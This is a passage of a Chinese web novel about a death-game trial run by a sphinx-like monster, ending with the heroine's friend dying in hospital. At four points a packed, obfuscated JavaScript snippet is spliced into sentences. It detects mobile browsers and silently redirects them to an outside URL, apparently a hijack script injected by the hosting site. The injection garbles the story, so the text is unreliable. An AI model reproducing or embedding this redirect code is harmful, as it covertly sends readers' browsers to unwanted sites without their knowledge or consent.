他扶着小满抬步欲走,却被小满轻轻拽住了,“稍等一下,看那个男生。” 纸鹤男生不知什么时候来到了瘦弱男人身侧,他用一个不大不小的声音懒洋洋道:“大叔,你敢发誓你的答案是万全正确的吗?如果我没猜错,你是做盗版书籍的吧?” 瘦弱男人听到这话身体一震,僵硬地转过身,“你,你在和我说话吗?” “不然呢?”纸鹤男生嗤笑一声,朝他步步紧逼,“我刚才想了想,你的言行确实有许多不对劲的地方。为什么会有人把出版社叫做工厂,把自己叫做员工呢?大叔你在哪个出版社任职?职位是什么?我要出书的话是直接联系出版社好还是联系书商和版权中介好?你能给我解答一下吗?” 纸鹤男生一连串的发问把瘦弱男人问得晕头转向,他蜡黄的脸急得发红,脸上的颜色变化甚是精彩。瘦弱男人虽然底气不足,却仍在大声辩驳:“我是做盗版的又怎么样?这书我可是实实在在地看过!这个问题的答案绝对错不了!我敢对天发誓!” 没成想他话音刚落,自己周围立刻空了一大片。一些人面上原先对他的感激之情忽然变成了犹豫,怀疑,三两个人凑在一起,一边小声说话一边偷眼看他。 “大家静一静!先静一静好吗?”精英女人赶紧上前维持局面,“听我说,就算他其他方面有问题,但不代表他记住的答案是错误的!既然大家都不知道其他的答案,为什么就不能听听他这个专业人士的回答呢?我们现在的首要目标是活下去,至于答案的来源,我们稍后再考究吧。” “可是我记得,一些书会做防盗措施,比如重复页,空白页。万一他看到的是防盗后的书,那书的页数不就,不就错得离谱了……”一个年轻女孩略带哭腔的声音给正在熊熊燃烧的争论之火又添了一把柴。 那个骂骂咧咧的寸头男人坐不住了,他原本就是随大流选的左侧,一见情况不对,他三步并作两步跨到右侧,“说不定那男的听都没听说过这本书,说不定是自己不想活了,临死前拉我们这些人黄泉路上作伴呢!” 一石激起千层浪,剩下的人也犹豫起来。 “咱们本来就不知道答案,不如就先在288这边站着?” “可是我们几个都觉得289这个数字好,正确答案是右边,准没错!” 一些人愤愤离开去了右侧,但更多的人还在左侧观望,看看瘦弱男人,又看看正在低头沉思的精英女人,不知如何是好。 “等……等一下!”瘦削男人挪动着颤抖的双腿,艰难地移动到了人群前方,“大家一定要相信我!是,我是个做盗版的,但是事关生死,我绝对不会在这种问题上撒谎!正确的答案一定是289!” 此话一出,原本嘈杂的人群霎时间安静了下来。精英女人硬着头皮,微笑开口:“你是不是太紧张说错了?之前不是说288才是正确答案吗?” “对,就是288,就是288页,”瘦削男人嘴唇都在不自觉地抖着,他后知后觉地朝大家辩解,“我,我就是刚才太紧张,说错了。” “什么说错了?我看你就是不知道正确答案,随便说了个选项来糊弄我们吧?”不知是谁最开始说了这么一嘴,带动着一部分拿不定主意的人七嘴八舌地声讨瘦削男人,更有一部分原本在犹豫的人直接转身走进了右侧。 看着周围散去的人,瘦削男人慌了神,不只是因为炎热的气温还是着急,他额角冒出豆大的汗珠。他赶紧抓住身旁精英女人的手臂,“我真没说谎,答案肯定是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165945|138845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 288页,你快去和他们说呀!就说我刚才口误了!” 精英女人抿唇盯着他,迟疑着向后退了一步。 “你……你怎么回事!你也不相信我?”男人不可置信,他加重了手上的力道,“明明最开始是你找人问答案,我才站出来的呀!你怎么能不相信我呢!” 精英女人吃痛,她奋力挣开瘦削男人的手,长叹一口气,耐心说道:“不是我不相信你,不帮你说话,而是大家现在都很紧张,我一味地劝解反而会激起人们的逆反心理,你懂吗?不然我也早去那边了!” 瘦削男人呆愣在原地,随即冷笑一声,与精英女人拉开了距离。 离倒计时结束还有二十几秒,小满快速估算了一下两侧的人数,带着凯文走进了左侧的区域。 她大概明白那个男生的思路:两边的人数相差过大,说不定不到第三道题,场上就会出现只有两三人的局面。他拿不准除了自己还有谁知道斯芬克斯的规则,不想自己和其他知道规则的人斗,所以选择牺牲一部分人来平衡两边的人数,争取更多生存的席位。 小满简直要在心里给他鼓掌了,感觉有他在,自己可以带着凯文趁机摸鱼,划水到最后。 120秒的时间转瞬即逝,小满抬起头,目不转睛地盯着斯芬克斯:她要开始验证自己的想法了。 “时间到了,时间到了,”斯芬克斯尖着嗓子大喊,“第一道题的正确答案是,288页!” 是左边!左边有二十个人,右边有二十七个人,死的是有二十七人的右侧,符合自己先前推算的规律! 答案公布后,左边的人欢欣鼓舞,沉浸在死里逃生的喜悦中,右边的人心如死灰,嚎啕大哭。有一些右侧的人回过神来,意识到自己选错,于是反悔想要越过中线冲到左边来。可惜中线仿佛一层透明的屏障,右边的人如何对它捶打踢踹也无济于事。一时间哭喊声,咒骂声不绝于耳。 斯芬克斯歪着脑袋,像是在欣赏一部精彩的舞剧,她嘴角扯出一个毛骨悚然的笑,“选错的人要接受惩罚。” 她话音未落,右侧倏地传来一阵尖锐的破空音爆,像是有什么东西快速坠落到圆台上似的。只听得到一阵清脆的碎响,随后圆台右侧变了副模样:碎肉炸得满地都是,将原本金黄的沙子染成鲜红的颜色。粘稠的血河中夹杂着一些碎片,像是衣物,像是头发,又像是脏器。 演示的小石子不是活物,即使被碾碎,也只成为一堆白色的石粉。因此,众人在看演示时,并没有什么太大的情绪波动。而活人在被压碎前,求生的本能会促使他们哭喊求救,徒劳的挣扎后最终化为一滩滩血泥。那种视觉与听觉的双重折磨,势必会在每个幸存的人心中留下不可磨灭的阴影。 左侧的人还处在失神状态时,斯芬克斯没有留下伤神的时间,石碑上的120秒倒计时悄然走动。 中线处无形的屏障忽然消失了,热辣的阳光炙烤着新鲜的血肉,一股滚烫又腥咸刺鼻的气息瞬间霸占了在场所有人的鼻腔。 绝大多数人都忍不住哇地一下吐了出来。那些没吐的脸色也不是很好,纷纷将自己煞白的脸别过去,屏住呼吸,调理心态。 小满小口小口地呼吸,强压下胸腔翻涌的恶心感。她看了眼吐不出什么东西却还在干呕的凯文,犹豫了一下,学着彤彤的样子拍拍他的背,“等一下还有两道选择题,现在就把胃里的东西吐干净的话,等等吐胆汁只会更难受。” 凯文盘腿坐着,惆怅地叹息一声,他又忍不住看了眼右侧,随后将脸深深地埋进了双手中。 他大概要自己静静吧?小满同情地看了他一眼,费力地挪动开一点距离。 5. 妖兽的选择题5 精英女人是少数几个没有失态的人,她强撑着站在沙地上,望向右侧的血海。只是那摇摇晃晃的身形出卖了她,她受到的冲击不算小,小腿肚都在打颤,只是凭借着一股意志力勉强支撑自己不要倒下。 她周围还围着几个人,想必是之前团队中的。他们依旧在讨论着什么,但感觉每个人兴致缺缺,有气无力的。第一道题过后斯芬克斯杀死了一半多的人,再加上目睹过她和瘦弱男人的争执,活下来的愿意再与她商议的人数骤减。 上一题答对了的瘦弱男人顾不得别的什么,仰面躺在滚烫的沙地上大口大口喘着气,大概是庆祝自己劫后余生。只不过他的眼神一直恶狠狠地盯着精英女子,不知道是出于埋怨还是出于憎恶,总之态度十分不善。 纸鹤男生待在人群的最后面,努力降低着自己的存在感。也是,上一道题明明是他率先向瘦弱男人发出的质疑,结果最后自己反倒留在了他这边,如果被人注意到,追问留下的缘由就糟了。 又是一个120秒的休憩,斯芬克斯公布了第二道题目:蝉的发声器官位于胸部还是腹部? 题目刚公布完毕,瘦弱男人一骨碌从地上爬起,头也不回地朝尸山血海的右侧圆台走去。 精英女人看着他离去的背影,愣怔片刻,随后冲他大喊:“腹部不一定是正确选项,你先不要激动,我们一起商量出一个正确答案来好吗?” 这句话仿佛是一根导火索,瞬间将瘦弱男人的怒火引燃。他先是愤怒地问候了一下精英女人的爸妈,随后又指指自己:“一开始我说的不就是正确答案吗?你不也相信我知道正确的答案吗?怎么他们质疑我的时候你不站出来替我证明一下呢?哪怕说一句话也好!” 精英女人上前几步,皱着眉辩解:“我不是和你说过了吗,那种人心惶惶的情况不适合解释……” “是吗?不适合解释?”瘦削男子不屑地冷笑一声,“不解释的后果就是,有二十七个人因你而死!因为你什么都不懂,什么都不听,什么都不做!” “你怎么能这样说我?最开始把大家召集起来的是谁?是我!”不知道瘦弱男人的一通乱咬到底触碰到了精英女人的哪一根神经,她胡乱地抹了一把脸上的汗,声音一声高过一声,“我想让大家理性思考,合作通关任务有错吗?那照你说的,我一开始放任不管,大家乱选一通就好了?你就是这么想的,对不对!” 瘦弱男人转过身,坚定地朝着右侧走去,“这题我确实不知道,但我觉得蝉的发声器官位于腹部,信不信由你们。” “这次的吵架有点莫名其妙吧?”凯文面色苍白,一看就是还没缓过来,他伸手给自己扇着风,“是不是因为天气太热,大家都变浮躁了。明明只是一点沟通上的小问题而已,不至于吵成这样……” 小满伸手搭在眉骨上,朝天上看了眼。太阳越来越毒辣,气温越来越高并不是自己的错觉,究其原因,小满更愿意相信是斯芬克斯作祟。 她设置了时限,煎熬人的精神,又升高了温度,煎熬人的□□。在这两重极端环境下,人的一点点小情绪都会被无限放大。将精力放在争执上,自然不会察觉到这三道题背后的潜藏规则,这或许就是她的目的。 精英女人在一些人的劝解中逐渐平静下来,她为自己刚刚的失态向众人表达歉意。 “大家都不知道这道题的答案吗?”精英女人面色凝重。 见大家都在摇头,一个年轻女孩小声提议:“不如我们就选腹部吧?那个男的不是说自己是做书籍校对的,说不定之前在百科上看到过相关内容呢。上次没听他的人都死了,这次我们不如……” 此话一出,人群安静了几秒,毕竟再没有人说过自己知道答案,而瘦弱男人已经去到了另一侧,改选什么显而易见。精英女人不甘心地再次确认了一下民意,有第一题的前车之鉴,大多数明确表态的人都赞同瘦弱男人的答案,一时间动身的人占据了大半。 小满数了下人数,暗道一声不妙:左侧没什么起立动作的加上自己和凯文只剩下六个人了。 斯芬克斯题目的规则中有提到,两边的人数不能相同,那么第三道题只有一种可能:死掉四个,活下来两个。 可纸鹤男生已经参透了规律,看他强势激进的个性必定不会让步。难道自己要放弃凯文,转而加入纸鹤男生的队伍吗? 这个念头只出现了一瞬就被小满否决了。还有三个不知道是不是已经明白了规律的三个人,偶发因素太大。不如挽留下两三个人,为第三道题的选择创造转圜的空间。 于是小满调整一下坐姿,在精英女人路过时故意拉着凯文讨论,“我觉得蝉的发声器官应该在胸部吧?” 凯文眼睛蓦然睁大,他看着小满,似乎在用眼睛询问为什么。但很快,他似乎是想到了小满说过的“要听话” ,于是乖乖坐在小满面前,配合着小满的话语点头。 小满继续自己的表演,“我觉得生物的结构都是大同小异的,既然人有喉咙可以发声,那蝉在身体的上半部分有发声器官也很合理吧?”说罢,她还伸手在自己的脖子上比划了一下。 这招似乎很有效,一部分起身欲走的人被她的声音吸引,纷纷驻足观望。 小满假装不经意地回头,看到身后站着一群侧耳倾听的人,涨红着脸解释:“啊,你们这是……我说的仅仅是我个人的一点想法,你们要是觉得在腹部就在腹部。” 事实证明,旁人暂且不信,精英女人却听进了心里。她停下脚步,看了眼不剩多少的倒计时数字,一咬牙向后退了几步,“我觉得她说得也有道理,我留下来好了。” 领头的忽然改了主意,剩下的人动也不是不动也不是,茫然地看着精英女人。 瘦弱男人朝队伍招手,“她就是看不起我,也看不起我的答案罢了。你们不用管她,想过来的直接过来就行。” 因为目前没有更精确的答案的缘故,除了两个一直跟着精英女人的年轻女孩和她一起留下,其余人都往右侧走去。 计划有效,小满也不敢懈怠半分,她一直盯着场上的人数变化,直到倒计时归零,一切尘埃落定才得以松口气。 斯芬克斯公布答案,处于右侧的十一人死亡,左侧的九人暂时存活。 小满望着右侧,真心实意地在心里对那个瘦弱男人说了声谢谢。要不是他及时将剩下的人拉走,自己还要想理由赶赶人呢。 第二题过后少了五分之四的人的圆台荒凉而空荡,只有斯芬克斯抖弄羽毛的沙沙声提醒他们还有一道题未出现。 鸦雀无声的场地中,石碑上最后一题公布,决定他们最后命运的一问出现了:轻松冒险类动漫《皮耶尔的味之旅》,片尾曲是《跳吧!调羹!》还是《味与虹》? “这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165946|138845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道题,”凯文不由自主地收紧了搭在小满小臂上的手,他因为兴奋,看向小满时眼睛都亮亮的,“这道题我知道答案。” 小满知道凯文知道这道题的答案,小满自己也知道这道题的答案。 凯文递给自己的纸巾是这部动漫的联名款,包装上的印花正是片尾曲《跳吧!调羹!》中的一幕原画。而彤彤作为这部动漫的忠实粉丝,在抢到它的钥匙吊坠周边后还送给了自己一个。 她快速地反握住凯文的胳膊,用只有他们两个能听见的声音小声嘱咐:“我希望你不要说,因为题目答案和对错是三回事。” “你已经知道答题的规律了吗?”凯文反而比之前更兴奋了,他压低声音回问道。 小满肯定地点头,“我已经验证过了,是我想的那样没错。你不要说话就这样跟着我,能活到最后的。” 小半分钟过去,偌大的场地竟没有一个人起身或者说话,大家席地而坐,与倒数的数字沉默对峙。 毕竟前面的两道题目无不证明了一个真理:存活与否和做选择的快慢没有必然联系。既是如此,大家更倾向于收集信息,谋定而后动。 大家不动小满也不动,她坐在地上翻看着自己的便签本,直到余光瞥见精英女人有所动作,才慢慢抬起头来。 精英女人原本只是略有些颓丧地坐在地上,她垂着头思考了半晌,随后把目光移向了那两个年轻女孩:“抱歉,我平时工作任务重,不常看这些东西。你们还在上学吗?喜欢看动画之类的吗?” 两个年轻女孩对视一眼,一个短发女孩迟疑着点点头,“是看过,但是我们用的那个视频APP会自动跳过片头曲和片尾曲。我对歌不太感冒,也不会主动去搜,所以没什么印象了。” 精英女人打起精神,强笑着拍拍两个女孩的肩膀,“好,没事的,那我再去问问别人。” 幸运的是,她所问到第一个身穿黑色T恤的男生就给了她一个肯定的答复。黑衣男生拍了拍屁股下的沙地,笃定道:“就是这里,片尾曲是《跳吧!调羹!》,我从头追到尾,应该不会错的。” “我感觉也是,这部动漫最近很火,我还看过一些用片尾曲剪辑的视频呢!”另一个男生也凑过来说道。 听到这个消息,精英女人精神一振。她与两个男生握手表达自己的感谢。紧接着她快步回到两个女生身边,告诉她们这个好消息,三个人相拥而泣。 精英女人在安顿好那两个女生后立马颇有干劲地行动起来,她向坐在边界处的纸鹤男生大步走去。 小满离他们比较近,只要微微偏头,就能看到侧对着她的精英女人的脸。 精英女人出了很多汗,原本精致的鬓角被汗水打湿,歪歪扭扭地贴在颧骨上。她的面容疲惫得仿佛已经熬了几个通宵,但即使隔着一块镜片,小满仍能感受到她眸中爆发的生命力。 精英女人伸手扶住纸鹤男生的肩膀,郑重地说着什么,像是她怕隔得有段距离的纸鹤男生不知道正确答案,特地来告知他一声的。 纸鹤男生礼貌地冲她点头微笑,下一秒,他拍下了精英女人搭在他肩头的手。他的声音不大,小满听不清他在说什么,只是看到他每说一句话,精英女人的脸就白一分。 他与精英女人说完话,立刻头也不回地起身走向右侧。 小满抬头看了眼倒计时,也和凯文朝右侧走去。 6. 妖兽的选择题6 圆台右侧覆盖着一层血泥铺就的腥臭地毯,即使隔着一层鞋底,脚下传来的黏腻感依旧强烈得让人不适。 小满尽力屏住呼吸,奈何被热浪裹挟的血腥味像是一张大网,包裹住所有深处其中的人。 “右边真的是正确答案吗?《味与虹》真的是片尾曲吗?”一声突兀的追问引得小满驻足回望。 精英女人盯着她,眼中恼怒与烦躁交织,真不知道纸鹤男生和她说了些什么。 小满其实很喜欢那种强势的,有自己主意的人。于是她瞥了眼倒计时,耐心道:“对于我来说是正确答案,但对于你来说是错误的。” 反正现在右边只有三个,再来一个也比左边的人少,她不担心。 但精英女子自嘲地一笑,随后对小满表示尊重祝福,“你们只是想用生命来证明我领导的失败?真没见过这么傻的人,那就随你们的愿好了。” 斯芬克斯仿佛看倦了众人争论的戏码,最后一题的倒计时结束,她迫不及待地大笑出声,公布结果:“最后一题的答案是,右边的《味与虹》!看来这次只有三个人选对了!” 左侧的人身躯一震,不敢相信自己距离存活只有一步之遥。黑衣男子上前崩溃地捶打着石碑,疯狂大叫,“你是不是说错了?那部番剧我看了不下五次,五次啊!” “等,等一下!这怎么可能!” “我不要死,我不要死!” 嘈杂的声音中,精英女人只是呆愣在原地,她抬头仰望着斯芬克斯,眼底尽是苦涩。 他们未出口的呼喊随着一声剧烈的音爆彻底消散。 小满的眼前出现一个有着她信息的白色面板,会员等级依旧为0,积分一栏则是15/100。 圆台上刚经历过一轮绝望的处刑,所以小满其实不敢相信,死了这么多人最终竟然只有15个积分。 “你好,”纸鹤男生踏过地上的血污,伸出右手一步步向小满走来,“叫我青云就行,你叫什么名字?” 小满摇头,“除非你先告诉我你最后和那个穿着西服套装的姐姐说了什么。” 青云似乎对小满的回答很意外,他笑着摊摊手,“就说感觉她没什么脑子也没什么领导能力,前两轮的经验告诉我,她只是个惯会意气用事的幼稚的人。然后让她不要自作主张地来找我,告诉我她心中的正确答案,我害怕被她坑死,就这样。当然,这些只是我做出选择的借口而已,没什么参考价值。” 原来是这样,像精英女人一样积极又认真,自认为对得起在场的所有人的人,却被人背刺嘲讽还拿痛点说事,不生气才怪。 她指指自己,“小满。” 青云还想再说些什么,斯芬克斯忽然开了口。她眨眨眼睛,眼中尽是狡黠之色,“现在是隐藏题目的时间。” 三人的身后凭空出现了一道数米长的黑色裂隙,细碎的流光从罅隙中流淌出来,像是银白色的飘带。 “隐藏题目不公开。如果放弃答题,现在就可以离开。”斯芬克斯懒洋洋的声音传入了正在观察裂隙的三人耳中。 青云瞟了眼裂隙,问道:“隐藏题目回答错误会死吗?” “回答错误就会死,下场和那些人没什么不同。”斯芬克斯给出了一个残酷的答案。 青云不由得嗤笑一声:“我们连题目的知情权都没有,这隐藏问题到底哪个拎不清的会回答?我还是知道见好就收这句话的,就当我没问过隐藏问题,我现在可以走了吗?” 他转身抬腿欲走,瞥见余下的两人在原地不动弹,扭头诧异道:“你,还有你,该不会想留下来答题吧?” 凯文搀着小满的手没放下,而小满根本没看他。她低垂着眼眸,自顾自地快速翻动着手中的便签本,没半点转身的意思。 见两人就是自己口中的“拎不清的人”,青云满不在乎地摆摆手,“还以为你是个聪明人,想和你加个好友的。既然你去送死,那我的好意就免了吧。” 说罢,他头也不回地走进了裂隙,彻底退出了任务。 “小满,你知道隐藏问题是什么吗?”凯文与斯芬克斯对上视线,被那棕黄的眼睛盯得发毛,又赶忙将头低下来。 “有点把握。”小满诚实地答道。 凯文扶着她的手紧了紧,“那我们走吗?” 小满摇摇头,“不要,我想试试。” 她抬起头,见凯文拧着眉,把他心里的想法猜了个七七八八,“我真的有点把握,所以我想留下来试试。” 小满将口袋里的钥匙递给凯文,“127****7865,这是彤彤的手机号。198****2331,这是我的手机号。如果我死了,你就把钥匙给她,顺便告诉她我的遗书在我们一起买的那只红色U盘里。U盘我放在床头柜里,密码是我的生日。看在我今天救了你一命的份上,这个要求不过分吧?” 凯文快速地记下两串数字,看向她的眼神竟然莫名多了份悲壮,“小满小姐,您的恩情我永远铭记于心,永世不忘。” 小满不知道该如何应对,只好露出一个假笑,“不不不,我也要谢谢您救了我。不过话说回来,你这话说得就像我要死了似的。能不能别咒我啊?” 在小满的催促下,凯文给小满深深鞠了一躬,随后一步三回头地离开了这里。 小满努力维持着自己单脚站立的滑稽姿势,再次看向斯芬克斯,“我要回答隐藏题目。” 斯芬克斯也不拖泥带水,单刀直入直奔主题,“隐藏问题是,我是谁。” “你是鹰身女妖哈比。”小满没有犹豫,就这样直截了当地说出了答案。 小满回答完,炽热的空气仿佛凝滞了几秒,石碑在几个呼吸间轰然碎裂,一对指甲呈弯钩形的青铜巨爪凭空出现,落在散落一地的石碑碎屑上。 哈比收回了围在圆台四周的棕灰色双翼,她直起身抖抖羽翼上的砂砾,缓缓走到小满面前。哈比脸上的一丝诧异转瞬即逝,她弯下纤长的,覆盖着一层灰色绒羽的脖颈,垂眸注视着小满,“你早就知道隐藏题目是什么了?” “我以为只回答隐藏问题就好了,原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165947|138845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来还有附加的问题吗?”小满歪着脑袋,面露不解。 “最终解释权在我,所以附加问题,你要不要回答?”哈比也学着小满的模样转动脖颈,歪了歪脑袋。 小满翻动手中的便签本,停在第一页,也就是哈比做演示的那三道问题上,“我最近刚好查阅过有关希腊故事的文献,对里面的一些人物略有耳闻。在希腊故事中,斯芬克斯一般作为雌性登场。她会用缪斯传授给她的谜语向路过的人提问,答错的要被她吃掉。但在这个任务中,答对的也会死,任务模式明显不是斯芬克斯的作为。 第一点,我猜最开始的那些题目除了演示作用,还对最后的隐藏问题有一定的提示。在看到正式的三道题目都与希腊神话无关时,我更加确认自己的想法:隐藏问题应该与希腊神话有联系。希腊神话中有很多半人半兽的怪物,但有长发鹰翼特点的女妖,除了斯芬克斯,还有一个鹰身女妖哈比。 第二点,斯芬克斯虽说在背部生有一对鹰翼,但更广为人知的特点是狮身。根据鹰翼的比例换算,一块立起的石碑是无法掩盖她硕大的狮身的,而掩盖相对较小,又有钩爪攀住崖壁边缘的鹰身则容易许多。 第三点,鹰身女妖哈比生性贪婪凶残,这个选择题的规则是选择人数多的一方死亡,哈比更喜欢杀死并夺取多数人的生命,这两方的理念吻合。 以上,将你的表现和我所知道的资料相结合,我推算出了隐藏的问题和答案,就这样。” “看来你有十足的把握。”哈比舔舐着嘴唇,露出的表情又愉悦又凶残。 “我只是有点不甘心罢了,”小满检查着自己的面板,看到积分一栏变成了30/100后满意地笑了,“四十四个人竭尽所能才有15积分,但我自己回答一个有几率成功的小问题就有15积分,我的命没我想得那么不值钱。” “你的心态真不错,很适合在便利店工作。”哈比似乎被小满的快乐感染,也跟着笑了两声。 “谢谢夸奖。”小满关掉面板,单脚蹦着跳进了黑色裂隙。 在进入裂隙的刹那,小满周遭的事物仿佛被什么东西拉扯,正在以极快的速度离她远去。炽热的空气,粗糙的砂砾,巨大的鹰身女妖哈比,一切不真实的事物都在瞬息间消失殆尽。 等她回过神来,自己已经站在了原本的目的地上:一家正常的便利店。 虽是初春,但气温依旧不太高。小满裹了裹身上的外套,环视便利店内。男店员靠在柜台死角暗戳戳地玩手机,看样子是在给某人发消息。三两个顾客从她身旁嬉笑着经过,手里拿着可爱包装的巧克力牛奶和芋泥切片蛋糕,讨论着《皮耶尔的味之旅》第二季的上映时间。 一切是那么的熟悉和正常,她的肚子咕咕抗议,对她忽视自己的身体需求表达不满。小满放缓呼吸,仔细嗅着空气里弥漫的香喷喷的奥尔良烤鸡腿和脆骨肠味。 看不清面容的女店员,怪异包装的商品,莫名其妙的任务。刚才的奇异的经历仿佛就像一场清醒梦,在小满伸手可触的世界中消失不见。 7. 间章 一股尖锐的疼痛自右腿蔓延开,唤回了小满飘忽的神思。她一个趔趄,径直摔在了地上。 “您没事吧?需要什么帮助吗?”开小差的男店员被她摔在地上的巨响惊到,连忙过来搀扶她。 小满痛得倒吸一口凉气,“没事,对了,请问你们这里有没有酒精和……” 不经意的一瞥,她低头看向自己的膝盖,满眼的不可思议:那道皮开肉绽的伤口不见了,膝盖和小腿上的肌肤白皙光滑,像是从未受伤过。小满尝试着挪动一下腿,一股熟悉的钻心剧痛又席卷而来。 她恍然大悟:在任务过程中受到的伤不会带到现实世界中,但痛感会保留下来。 想明白了这一点,小满婉言谢绝了男店员的创可贴提议,一瘸一拐地找了个地方坐下。 一个陌生号码的提示忽然出现在了她的手机屏幕上,小满接起电话,“是凯文吗?” “太好了,你没死!”凯文的声音听起来心情很好,“你的钥匙在我这,是给你找个同城快递还是给你送过去?” “你有空吗?有空的话就给我送过来,要是没空就明天再说,”小满刚报完自己打的地址,想起彤彤就住在附近,又补了一句,“我可以住在朋友家的。” 凯文的声音听起来有点气喘吁吁的,“你就在我附近,我走两步就到了,等我一下。” 闲着也是闲着,小满随手滑到手机页面的最后一页,一个纯白色的,没有任何注释的图标安安静静地躺在那里。 她伸手点开,瞧见联系人一栏的醒目红点,原来是名为“店员”的那个账号给她发来了一条消息。 店员:[尊敬的小满会员,恭喜您成功在本店消费:1次,您目前的会员等级:0,会员积分积分:30/100,兑换已开启,请您前往查看相关信息。另:下次的采购时间为评分后的两周内,逾期不评将被采取强制措施,预祝您购物愉快。] 信息末尾附带了一个链接,点进去跳转到了一个评分界面。小满毫不犹豫地给“妖兽的选择题”打了个三颗星中评,顺手把不推荐的标签也点了。 还没等她看看兑换是什么,身侧传来一阵窸窸窣窣的响动。 凯文仍旧穿着那身西装,他正从西装的口袋里往外掏着些什么,“我来的路上经过一家药店,里面有卖纱布和酒精的,我不知道你家里有没有碘酒之类的东西,给你买来应应急。” 小满指了指自己的膝盖,“在任务过程中受过的伤不会带回来,只是会感觉到一点疼痛而已。” 看着小满完好无损的膝盖,凯文一拍脑袋,又掏出来一个锡箔板,“我有止痛药,这个你应该能用得上。” 拿过钥匙和止痛药的小满和凯文加过便利店的好友,正要告别离开,她的手机忽然震动起来。 是彤彤。 小满接起电话,那头传来的竟不是自己熟悉的女声,而是一个从未听过的男声。电话的那头环境嘈杂,还夹杂着一些刺耳的铃声,“你是这个手机号码主人的亲戚朋友吗?这个小姑娘刚才在大街上突发心梗,已经拉来医院抢救了。通讯录里其他的号码都打不通,就你的行,来中心人民医院急诊科室,要快。” “怎么了?”凯文见她面色不豫,小心地在一旁觑着她的动作。 小满深吸了一口气,头也不抬地拿起东西就要往外走,“我朋友出了点意外,我得去医院一趟。便利店和任务的事咱们改天再聊。” “等一下,”凯文伸手拉住了小满的小臂,“你朋友出事送医院去了?医院的那些流程我熟,我可以帮你的忙。” 送上门来的援助不要白不要,小满带着凯文打了辆出租直奔医院而去。 急诊科门庭若市,凯文问了几句电话的内容,轻车熟路地领着小满在其中穿梭,很快就找到了彤彤所在的抢救室。屏幕上的红色标识,刺鼻的消毒水气味,过于明亮的长廊,这些无一不刺激着小满紧绷的神经,她飞快地在脑海中演练着要说的话和要做的事。 身穿手术服面容严肃的医生和小满讨论了一些悲伤的话题,还让她赶紧通知彤彤的家属。在小满说出童童是个孤儿,自己只是她的朋友时,凯文的表情变得有些微妙,他垂下头,无声地苦笑一下。 小满坐在一旁,漫无目的地整理着手中的几张病例。凯文半靠在椅背上抬头望向天花板,不知道在想些什么。 “她是不是成了会员?” “她是不是成了会员?” 两个人看向彼此,异口同声地说道。 小满的手无意识地摆弄着手中的纸,“彤彤的身体不差,上次体检还什么事都没有,怎么会突发心梗呢?是不是她的任务失败,生命被便利店收走,所以在现实世界中她也会因为各种各样的原因死亡?” “有可能。便利店啊会员啊这种事,又不能和非会员提及,所以目前人口的非自然死亡率越来越高了。”凯文声音淡淡的,对这个结论似乎也没那么笃定。 小满皱着眉沉思,她的食指沿着纸张的边缘轻轻滑动,她仔细回想着彤彤曾经出现的异常表现,试图找出她早就进入过“便利店”的证据。 “不过你也别想太多,万一只是意外呢?专家不都说过,那种心梗心衰一类的疾病年轻化了,就算是少年人也要多加注意不是。”凯文小声地安慰道。 很可惜,好运并未眷顾彤彤,抢救室的灯牌熄灭,传来抢救失败的噩耗。 凯文刚想安慰小满些什么,但他看向小满的瞬间,到嘴边的话又硬生生咽了回去。 小满没有哭闹,没有大喊,她的情绪没什么波动,就那样安静地聆听医生下达好友的死讯,嘴角甚至挂着一点礼貌的微笑。 她微笑着接过护士手中的报单,又微笑着在凯文的帮助下给彤彤签署文件,整理随身物品。 往日的朋友此刻安静地躺在焚化炉中,露出来的皮肤又白又硬,像是某种没有光泽的灰白色大理石。她确认过焚化步骤后,亲手按下了启动按钮。 小满给凯文的身份是自己的朋友,因此,他不用在这个时候回避。他飞快地看了眼彤彤,又重新将目光投向小满,见她还是那副平静的模样,忍不住劝道:“我知道你很伤心,这种时候想哭就哭出来,不用压抑自己的情绪,没事的。” “你是说,我应该表现得伤心一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165948|138845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?”小满歪了歪脑袋,似乎是对凯文的话有些不解。 